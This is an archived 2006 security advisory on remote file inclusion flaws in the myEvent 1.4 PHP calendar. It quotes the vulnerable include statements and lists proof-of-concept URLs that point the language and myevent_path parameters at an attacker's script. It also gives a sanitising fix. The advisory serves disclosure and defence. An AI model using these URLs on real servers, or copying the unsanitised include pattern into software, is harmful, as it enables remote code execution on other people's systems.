myEvent <= 1.4 Multiple Remote File Include Vulnerabilities

2006-08-14T00:00:00
ID SECURITYVULNS:DOC:13878
Type securityvulns
Reporter Securityvulns
Modified 2006-08-14T00:00:00

Description


myEvent 1.4 Multiple Remote File Include Vulnerabilities

Author : Sh3ll Date : 2006/08/11 HomePage : http://www.sh3ll.ir Contact : sh3ll[at]sh3ll[dot]ir


Affected Software Description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : myEvent version : 1.4 Venedor : http://www.mywebland.com Class : Remote File Inclusion Risk : High Summary : myEvent Is a Dynamic Calendar Based Events Management System.


Vulnerability: ~~~~~~~~~~~~~ in admin.php , event.php , initialize.php , myevent.php , viewevent.php We Found Vulnerability Script ----------------------------------------admin.php-------------------------------------- .... <?php include_once($language); ?> ... ----------------------------------------event.php-------------------------------------- .... <?php

    include_once $myevent_path.&quot;includes/template.php&quot;;
    ?&gt;

... --------------------------------------initialize.php----------------------------------- .... <?php

    include $myevent_path.&quot;config.php&quot;;
    include $myevent_path.$language;
    include_once  $myevent_path.&quot;includes/template.php&quot;
    ?&gt;

... ----------------------------------------myevent.php------------------------------------ .... <?php include_once $myevent_path."initialize.php"; ?> ... ---------------------------------------viewevent.php----------------------------------- .... <?php

    include_once $myevent_path.&quot;initialize.php&quot;;
    ?&gt;

...

PoC: ~~~ http://www.target.com/[myEvent]/admin.php?language=[Evil Script] http://www.target.com/[myEvent]/event.php?myevent_path=[Evil Script] http://www.target.com/[myEvent]/initialize.php?myevent_path=[Evil Script] http://www.target.com/[myEvent]/myevent.php?myevent_path=[Evil Script] http://www.target.com/[myEvent]/viewevent.php?myevent_path=[Evil Script]

Solution: ~~~~~~~~ Sanitize Variabel $language in admin.php & Sanitize Variabel $myevent_path in admin.php event.php , initialize.php , myevent.php , viewevent.php


Note: ~~~~ Venedor Contacted, But No Response. So Do a Dirty Patch.


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